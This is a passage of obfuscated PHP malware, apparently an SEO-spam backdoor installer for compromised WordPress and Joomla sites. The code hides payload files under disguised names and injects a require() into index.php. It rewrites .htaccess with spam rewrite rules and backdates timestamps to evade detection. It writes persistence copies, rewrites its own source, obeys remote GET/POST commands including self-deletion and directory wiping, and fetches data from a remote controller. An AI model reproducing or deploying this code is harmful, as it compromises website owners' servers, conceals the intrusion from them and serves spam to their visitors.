		$installFile = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{64}.$O00O0O{11}.$O00O0O{14}.$O00O0O{6}.$O00O0O{14}.$O00O0O{62}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{13}.$O00O0O{6};$logFile = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{64}.$O00O0O{11}.$O00O0O{14}.$O00O0O{6}.$O00O0O{62}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{13}.$O00O0O{6};	$mbFile = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{64}.$O00O0O{12}.$O00O0O{1}.$O00O0O{62}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{13}.$O00O0O{6};$backupfile1 = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{2}.$O00O0O{20}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{12}.$O00O0O{8}.$O00O0O{25}.$O00O0O{4}.$O00O0O{64}.$O00O0O{2}.$O00O0O{11}.$O00O0O{0}.$O00O0O{18}.$O00O0O{18}.$O00O0O{66}.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{2}.$O00O0O{20}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{12}.$O00O0O{8}.$O00O0O{25}.$O00O0O{4}.$O00O0O{66}.$O00O0O{5}.$O00O0O{8}.$O00O0O{11}.$O00O0O{19}.$O00O0O{4}.$O00O0O{17}.$O00O0O{18}.$O00O0O{66}.$O00O0O{18}.$O00O0O{4}.$O00O0O{19}.$O00O0O{19}.$O00O0O{8}.$O00O0O{13}.$O00O0O{6}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$backupfile2 = $hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{0}.$O00O0O{3}.$O00O0O{12}.$O00O0O{8}.$O00O0O{13}.$O00O0O{64}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
		$fitime = filemtime($hostDir.$O00O0O{22}.$O00O0O{15}.$O00O0O{66}.$O00O0O{0}.$O00O0O{3}.$O00O0O{12}.$O00O0O{8}.$O00O0O{13}.$O00O0O{64}.$O00O0O{8}.$O00O0O{13}.$O00O0O{2}.$O00O0O{11}.$O00O0O{20}.$O00O0O{3}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64});
	}elseif($sysType == 'Joomla'){
		$installFile = $hostDir.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{64}.$O00O0O{18}.$O00O0O{24}.$O00O0O{18}.$O00O0O{19}.$O00O0O{4}.$O00O0O{12}.$O00O0O{64}.$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{11}.$O00O0O{14}.$O00O0O{6}.$O00O0O{14}.$O00O0O{62}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{13}.$O00O0O{6};$logFile = $hostDir.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{64}.$O00O0O{18}.$O00O0O{24}.$O00O0O{18}.$O00O0O{19}.$O00O0O{4}.$O00O0O{12}.$O00O0O{64}.$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{11}.$O00O0O{14}.$O00O0O{6}.$O00O0O{62}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{13}.$O00O0O{6};$mbFile = $hostDir.$O00O0O{12}.$O00O0O{4}.$O00O0O{3}.$O00O0O{8}.$O00O0O{0}.$O00O0O{64}.$O00O0O{18}.$O00O0O{24}.$O00O0O{18}.$O00O0O{19}.$O00O0O{4}.$O00O0O{12}.$O00O0O{64}.$O00O0O{8}.$O00O0O{12}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{1}.$O00O0O{62}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{13}.$O00O0O{6};$backupfile1 = $hostDir.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{20}.$O00O0O{11}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{62}.$O00O0O{18}.$O00O0O{4}.$O00O0O{0}.$O00O0O{17}.$O00O0O{2}.$O00O0O{7}.$O00O0O{64}.$O00O0O{19}.$O00O0O{12}.$O00O0O{15}.$O00O0O{11}.$O00O0O{64}.$O00O0O{3}.$O00O0O{4}.$O00O0O{5}.$O00O0O{0}.$O00O0O{20}.$O00O0O{11}.$O00O0O{19}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$backupfile2 = $hostDir.$O00O0O{11}.$O00O0O{8}.$O00O0O{1}.$O00O0O{17}.$O00O0O{0}.$O00O0O{17}.$O00O0O{8}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{9}.$O00O0O{14}.$O00O0O{14}.$O00O0O{12}.$O00O0O{11}.$O00O0O{0}.$O00O0O{64}.$O00O0O{2}.$O00O0O{0}.$O00O0O{2}.$O00O0O{7}.$O00O0O{4}.$O00O0O{64}.$O00O0O{18}.$O00O0O{19}.$O00O0O{14}.$O00O0O{17}.$O00O0O{0}.$O00O0O{6}.$O00O0O{4}.$O00O0O{64}.$O00O0O{12}.$O00O0O{4}.$O00O0O{12}.$O00O0O{2}.$O00O0O{0}.$O00O0O{2}.$O00O0O{7}.$O00O0O{4}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
		$fitime = filemtime($hostDir.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{20}.$O00O0O{11}.$O00O0O{4}.$O00O0O{18}.$O00O0O{64}.$O00O0O{12}.$O00O0O{14}.$O00O0O{3}.$O00O0O{62}.$O00O0O{18}.$O00O0O{4}.$O00O0O{0}.$O00O0O{17}.$O00O0O{2}.$O00O0O{7}.$O00O0O{64});

	}else{
	
		$numHostDir = count(explode(DIRECTORY_SEPARATOR,$hostDir));
		
		$arrImgDir = array();

		getTypeImg($hostDir,$arrImgDir,1,'jpg,png,jpeg,gif,txt');
		
	
		if(count($arrImgDir)){
			foreach($arrImgDir as $key=>$vs){
			

				list($tmepImgType,$trmeyImgName) = explode('#name#',$vs);
				$installFile = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType;
				while(file_exists($installFile)){
					$installFile = $installFile.'-';
				}
				
				$logFile = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'_ls.'. $tmepImgType;
				while(file_exists($logFile)){
					$logFile = $logFile.'-';
				}
				
				$mbFile = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'_mb.'. $tmepImgType;
				while(file_exists($mbFile)){
					$mbFile = $mbFile.'-';
				}
			}
		}

	
		$arrphpDir = array();

		getTypeImg($hostDir,$arrphpDir,2,'php');
		
		$i=1;
		foreach($arrphpDir as $key=>$vs){
			
				$fitime = filemtime($key);

				list($tmepImgType,$trmeyImgName) = explode('#name#',$vs);
				$tempMyVs = 'backupfile'.$i++;
			
				$$tempMyVs = $key . DIRECTORY_SEPARATOR . $trmeyImgName .'s.'. $tmepImgType;
				while(file_exists($$tempMyVs)){
					$$tempMyVs = str_replace(".$tmepImgType","s.$tmepImgType",$$tempMyVs);
				}
				
			
			}
	

	
	}
	
	
	$installFile = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$installFile);
	$logFile = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$logFile);
	$mbFile = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$mbFile);
	$backupfile1 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile1);
	$backupfile2 = str_replace(DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR,$backupfile2);
	

	$dirNames = dirname(__FILE__);  

	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));	

	
	
	$r1 = '#(// \#l{2}ql{2}q\#arr_keybg)(.*?)(// \#l{2}ql{2}q\#arr_keyend)#s';
	$str = file_get_contents(__FILE__);	
	shuffle($arr_key);	$rp1 = '';	foreach($arr_key as $vals){
		$rp1 .= '$arr_key[]="'. $vals .'";'. PHP_EOL;	}
	
	$str = preg_replace($r1, '\1'.  PHP_EOL . PHP_EOL .$rp1 . PHP_EOL . PHP_EOL .'\3', $str);	
	$r0 = '#(/+keyjgbg)(.*?)(/+keyjgbgend)#s';	
	$str = preg_replace($r0, '\1'. PHP_EOL .'define("KEYJG","'. rand(1,20) .'");'. PHP_EOL .'\3'. PHP_EOL , $str);			
	$r3 = '#(// \#l{2}ql{2}q\#arr_keywz)(.*?)(// \#l{2}ql{2}q\#arr_keywzend)#s';	
	shuffle($arrKeywz);	
	$rp2 = '';	
	foreach($arrKeywz as $valpimg){
		$rp2 .= '$arrKeywz[]="'. $valpimg .'";'. PHP_EOL;	
	}
	
	$str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL .  $rp2 . PHP_EOL . PHP_EOL .'\3', $str);	
			
	$r3 = '#(// \#l{2}ql{2}q\#arr_wordbg)(.*?)(// \#l{2}ql{2}q\#arr_wordend)#s';	$strword = '';
	$arrWordOld = array(2,3,4,2,2,3,4,3,3,4);	$rp2 = '';
	for($i=0;$i<12;$i++){
		shuffle($arrWordOld); 
		foreach($arrWordOld as $vtemps)
			$rp2 .= '$arr_word['. $i .'][] ="'. $vtemps .'";';	}
	
	$str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL .  $rp2 . PHP_EOL . PHP_EOL .'\3', $str);		
	$r3 = '#(// \#l{2}ql{2}q\#arr_nametimebg)(.*?)(// \#l{2}ql{2}q\#arr_nametimeend)#s';	
	shuffle($arrnametime);	
	$rp2 = '';	
	foreach($arrnametime as $valpimg){
		$rp2 .= '$arrnametime[]="'. $valpimg .'";'. PHP_EOL;	
	}
	
	$str = preg_replace($r3, '\1'. PHP_EOL . PHP_EOL .  $rp2 . PHP_EOL . PHP_EOL .'\3', $str);	
			
			
	$r4 = '#(// \#l{2}ql{2}q\#randkeybg)(.*?)(// \#l{2}ql{2}q\#randkeyend)#s';	
	$arrABC = range('a','z');	
	$strTemp1 = '';	
	for($i=0;$i<100;$i++){
		shuffle($arrABC); 
		$strtemp = '';		
		foreach($arrABC as $value){
			$strtemp .= $value;		
		}	
		
		$strTemp1 .= '$strRand[' .$i. ']="' . $strtemp .'";'. PHP_EOL;	
	}
	
	$str = preg_replace($r4, '\1'. PHP_EOL . $strTemp1  . PHP_EOL .'\3', $str);	
	$r0 = '#(/+i{4}mbfilebg)(.*?)(/+i{4}mbfileend)#s';	
	$str = preg_replace($r0, '\1'. PHP_EOL .'$mbFileName = \'/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/mb_s.png\';'. PHP_EOL .'$logFileName = \'/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/log_s.png\';'. PHP_EOL .'\3'. PHP_EOL , $str);			
	$str = str_replace('/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/mb_s.png',$mbFile,$str);
	$str = str_replace('/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/log_s.png',$logFile,$str);
	
	file_put_contents(__FILE__, $str);	
	// $indexstr = file_get_contents("../index.php");	$Indexruler = '#(/+installbg.*?/+installend)#s';	
	// if($indexstr && preg_match($Indexruler,$indexstr)){
		// $indexstr = preg_replace($Indexruler, '//installbg'. PHP_EOL .'require("'.$httcReplace .'/install.php");' . PHP_EOL .'//installend'.PHP_EOL, $indexstr);	}elseif($indexstr){
		// $indexstr = preg_replace('#<\?php#i', '<'.'?php'. PHP_EOL .'//installbg'. PHP_EOL .'require("'.$httcReplace .'/install.php");' . PHP_EOL .'//installend'. PHP_EOL, $indexstr, 1);
	// }
	
	// @chmod("../index.php",0755);	
	// file_put_contents("../index.php",$indexstr);	
	
	
	
	$UrlBaseDir = '';	$PreDir = $hostDir;	$RewriteOnDir = '';	
	$strhtt = '';	if (file_exists("$PreDir.htaccess")){
		
		$fhtacTime =  filemtime("$PreDir.htaccess");
		@chmod("$PreDir.htaccess",0755);		$strhtt = file_get_contents("$PreDir.htaccess");	}
		
	if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
	{
		$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';	
	}else{
		$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);		$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);	
	}
		
	$hzReplace = trim($_GET['hzui']);
	if(1){
			
			
	$r1 = '#(.*RewriteBase.*)#i';		$r2 = '#RewriteRule#i';		
		$rsut = '\1'.PHP_EOL . 'RewriteRule ^'. '.*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL;
		
		$rsut2 = PHP_EOL . 'RewriteRule ^'. '.*[-/]'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)-.*$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]' . PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZPRO .'(\d+)[-/].*[-/]'. BZSITE .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$2-\$1&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/].*[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL . 'RewriteRule ^.*[-/]'. BZSITE .'(\d+)[-/]'. BZPRO .'(\d+)[-/].*$ '.$RewriteOnDir.'index\.php?id=\$1-\$2&%{QUERY_STRING} [L]'.PHP_EOL .'RewriteRule' ;		
		
		
		if(preg_match($r1,$strhtt)){
			$strhtt = preg_replace($r1,$rsut,$strhtt,1);		}else{
			$strhtt = preg_replace($r2,$rsut2,$strhtt,1);		}
			
			
		
		if(JDT == 1 or JDT == 0){
			
			file_put_contents("$PreDir.htaccess", $strhtt);
			@touch("$PreDir.htaccess", $fhtacTime, $fhtacTime);   
			chmod($installFile, 0511);
			chmod($installFile, 0404);
			
		}
			
			
			
	}
	
	
	

	if(isset($_GET["jgshu"]) && $_GET["jgshu"]){
		$str = str_replace('define("JGNUM","132");', 'define("JGNUM","'.trim($_GET["jgshu"]).'");', $str);
		echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>";
	}
	

	
	if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
		$str = str_replace('define("LINKNUM","12");', 'define("LINKNUM","'.trim($_GET["ljshu"]).'");', $str);	
		echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";
	}	
	
	
	$r4 = '#bbbbbbbbackupbg.*?bbbbbbbbackupend#si';
	$str2 = preg_replace($r4, '', $str);	
	
	
	$r4 = '#i{9}bg.*?i{9}end#si';
	$str2 = preg_replace($r4, '', $str2);	
	
	
	$r4 = '#c{6}getbg.*?c{6}getend#si';
	$str2 = preg_replace($r4, '', $str2);	
	
	$r4 = '#c{6}getbg.*?c{6}getend#si';
	$str2 = preg_replace($r4, '', $str2);	
	
	preg_match('#c{6}getbg(.*?)c{6}getend#si',$str,$matchPut);
	$backStr = $matchPut[1];
			

	generate_dir_file($installFile);
	generate_dir_file($logFile);
	generate_dir_file($mbFile);
	generate_dir_file($backupfile1);
	generate_dir_file($backupfile2);

	
	file_put_contents($installFile, $str2);
	
	//moban
	@chmod($mbFile,0755);

	if(function_exists('copy')){
		unlink($mbFile);
		copy('./moban.html',$mbFile);
	}else{
		file_put_contents($mbFile,file_get_contents('./moban.html'));
	}
	
	
	$findexTime =  filemtime("$hostDir/index.php");
	$indexstr = file_get_contents("$hostDir/index.php");
	$Indexruler = '#(/+installbg.*?/+installend)#s';	
	if($indexstr && preg_match($Indexruler,$indexstr)){
		$indexstr = preg_replace($Indexruler, '//installbg'. PHP_EOL .'$rifilename=#fileName#;'. PHP_EOL .'require("$rifilename");' . PHP_EOL .'//installend'.PHP_EOL, $indexstr);	
		$indexstr = str_replace('#fileName#',"'".$installFile."'",$indexstr);
	}elseif($indexstr){
		$indexstr = preg_replace('#<\?(php)?#i', '<'.'?\1'. PHP_EOL .'//installbg'. PHP_EOL .'$rifilename=#fileName#;'. PHP_EOL .'require("$rifilename");' . PHP_EOL .'//installend'.PHP_EOL, $indexstr, 1);
		$indexstr = str_replace('#fileName#',"'".$installFile."'",$indexstr);
	}
	
	
	@chmod("$hostDir/index.php",0755);	file_put_contents("$hostDir/index.php",$indexstr);
	@touch("$hostDir/index.php", $findexTime, $findexTime);   

		
	$$q2 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{65}.$O00O0O{64}.$O00O0O{64}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63}.$O00O0O{19}.$O00O0O{22}.$O00O0O{12}.$O00O0O{1}.$O00O0O{0}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25}.$O00O0O{64}.$O00O0O{1}.$O00O0O{10}.$O00O0O{18}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};
	
	if($backStr){
		$backStr = '<'.'?php'.PHP_EOL .$backStr;
	if(isset($backupfile1) && $backupfile1){
		if(file_put_contents($backupfile1,$backStr))
			$flagRdir1 = 1;
		else
			$flagRdir1 = 0;
	}
	
	if(isset($backupfile2) && $backupfile2){
		if(file_put_contents($backupfile2,$backStr))
			$flagRdir2 = 1;
		else
			$flagRdir2 = 0;
	}

	}
	
	$mbstr = file_get_contents('./moban.html');
	
	$dateArr = array();
	
	
	$arrTemps = explode('/',GETDOM);
	$tpNum = count($arrTemps);
	$dateArr['dom'] = $thisdom;
	$dateArr['myFile'] = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
	$dateArr['installFile'] = $installFile;
	$dateArr['mbFile'] = $mbFile;
	$dateArr['logFile'] = $logFile;
	$dateArr['htaccess'] = "$PreDir.htaccess";
	$dateArr['index'] = "{$PreDir}index.php";
	$dateArr['bao'] = $arrTemps[$tpNum-2];

	
	if($backupfile1){
		$bfileurl1 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile1);
		$dateArr['backupfile1'] = $bfileurl1;
	}
	if($backupfile2){
		$bfileurl2 = 'http://'.$_SERVER['HTTP_HOST'].'/'.str_replace($hostDir,'',$backupfile2);
		$dateArr['backupfile2'] = $bfileurl2;
	}
	
	
	@touch($installFile, $fitime, $fitime);   
	@touch(dirname($installFile), $fitime, $fitime);   
	@touch($mbFile, $fitime, $fitime);   
	@touch(dirname($mbFile), $fitime, $fitime);   
	@touch($backupfile1, $fitime, $fitime);   
	@touch(dirname($backupfile1), $fitime, $fitime);   
	@touch($backupfile2, $fitime, $fitime); 
	@touch(dirname($backupfile2), $fitime, $fitime); 
	
	chmod($installFile, 0511);
	chmod($installFile, 0404);
	chmod($mbFile, 0511);
	chmod($mbFile, 0404);
	chmod($backupfile1, 0755);
	chmod($backupfile2, 0755);


	$dateArr['act'] = 'jc';
	$dateArr['dom'] = $_SERVER['HTTP_HOST'];
	
	$staus = backup_install($dateArr);
	

	
	if($staus == '#ok#'){
		echo '<br/>backup ok!<br/>';
	}
	
	echo "install ok";	
	
	
	echo "<br/>hzui ($hzReplace) modify ok!<br/>";
	echo "install ok<br/>";	
	echo 'please open this url: '.GETDOM .'gfile.php?site='.$thisdom;

}


//iiiimbfilebg
$mbFileName = '/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/mb_s.png';
$logFileName = '/var/www/html/testjpnormal.com/public_html/wp-includes/images/media/log_s.png';
//iiiimbfileend


if(isset($_GET["thmoban"]) && $_GET["thmoban"]){
	
	$fitime = filemtime($mbFileName);
	@chmod($mbFileName,0755);

	if(function_exists('copy')){
		unlink($mbFileName);
		copy('./moban.html',$mbFileName);
	}else{
		file_put_contents($mbFileName,file_get_contents('./moban.html'));
	}
	
	@touch(dirname($mbFileName), $fitime, $fitime);   
	@touch($mbFileName, $fitime, $fitime); 
	
	chmod($mbFileName, 0511);
	chmod($mbFileName, 0404);
	echo 'ok!';
	
}


if(isset($_GET["jgshu"]) && $_GET["jgshu"]){
	$strDefault = file_get_contents(__FILE__);	
	$strDefault = str_replace('define("JGNUM","132");', 'define("JGNUM","'.$_GET["jgshu"].'");', $strDefault);	file_put_contents(__FILE__,$strDefault);	echo "<br/>jgshu (".$_GET["jgshu"].") ok!<br/>";}
if(isset($_GET["ljshu"]) && $_GET["ljshu"]){
	$strDefault = file_get_contents(__FILE__);	
	$strDefault = str_replace('define("LINKNUM","12");', 'define("LINKNUM","'.$_GET["ljshu"].'");', $strDefault);	file_put_contents(__FILE__,$strDefault);	echo "<br/>ljshu (".$_GET["ljshu"].") ok!<br/>";}
if(isset($_GET["moshi"])){
	
	if($_GET["moshi"] != 0 && $_GET["moshi"] != 1 && $_GET["moshi"] != 2 && $_GET["moshi"] != 3){
			echo "<br/><span style='color:red'>set fails, moshi value must be 0,1,2 or 3 !</span><br/>";			die();	}
	
	$strDefault = file_get_contents(__FILE__);	
	
	$r3='#(/{2}msbg)(.*?)(/{2}msend)#s';
	$rp2 = 'define("JDT","'.$_GET["moshi"].'");';	$strDefault=preg_replace($r3,'\1'.PHP_EOL.$rp2.PHP_EOL.'\3',$strDefault);	
	
	$strDefault = str_replace('define("JDT","0");', 'define("JDT","'.$_GET["moshi"].'");', $strDefault);	file_put_contents(__FILE__,$strDefault);	echo "<br/>moshi (".$_GET["moshi"].") ok!<br/>";}
	
function deldir($dir){
  $dh=opendir($dir);
  while ($file=readdir($dh)) {
    if($file!="." && $file!="..") {
      $fullpath=$dir."/".$file;
      if(!is_dir($fullpath)) {
          unlink($fullpath);
      } else {
          deldir($fullpath);
      }
    }
  }
 
  closedir($dh);
  if(rmdir($dir)) {
    return true;
  } else {
    return false;
  }
}
	
if(isset($_GET["del"]) && $_GET["del"]=='delete'){
	$mydir = dirname(__FILE__);
	deldir($mydir);
	echo '#ok#';
	die();
	// @unlink(__FILE__);
}
	
if(isset($_POST["del"]) && $_POST["del"]=='delete'){
	$mydir = dirname(__FILE__);
	deldir($mydir);
	echo '#ok#';
	die();
	// @unlink(__FILE__);
}

if(isset($_GET["del"]) && $_GET["del"]=='myself'){
	@unlink(__FILE__);
	echo '#ok#';
	die();

}

if(isset($_POST["del"]) && $_POST["del"]=='myself'){
	@unlink(__FILE__);
	echo '#ok#';
	die();

}
// iiiiiiiiiend




$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
   $arrArrr[$j++] = $strRand{$i}.$strRand{$i+1};}
$Arrrarr = array_flip($arrArrr);
$stss = 'transferdm';
$stss2 = 'deliverym';


if(isset($_GET["gsitemap"])  &&  isset($_GET["mapnum"]) && $_GET["gsitemap"] && $_GET["mapnum"]){
	
	$O_OO0_0O_0='America/Chicago';	@date_default_timezone_set($O_OO0_0O_0);	
	if (! is_dir("sitemaps"))
		mkdir("sitemaps", 0755);	
	global $gnumber;
	$gnumber = 1;
	$bgNum = (int)trim($_GET["gsitemap"]);
	$mapnum = (int)trim($_GET["mapnum"]);

	if($bgNum > FNUM)
	   die("The Number Must Lower Then " . FNUM);
   
	$arrNumTemp = getMapNum($bgNum,$mapnum);

	foreach($arrNumTemp as $vss){
		
		$vals = "id$vss.php";	

	
		$idUrl =  GETDOM . "gpage.php?getid=$vss";
		$tempIdStr = curl_get_from_webpage($idUrl,'',5);
		$arrId = explode(',',$tempIdStr);
		// echo "<pre>";
		// print_r($arrId);
		// die();
		if(count($arrId) < 100){
			echo "g sitemap fail<br/>";
			die();
		}
		
		echo $vals."<br/>";

		if($gnumber == 1){
			if(JDT == 1){
				gsitemap($arrId,2,1);			}else{
				gsitemap($arrId,1,2);			}
		}else{
			
			if(JDT == 1){
				gsitemap2($arrId,2,1);			}else{
				gsitemap2($arrId,1,2);			}
			
		}
		
		unset($arrId,$tempArr1,$tempArr2);	}
	
}

//iiiimbfilebg
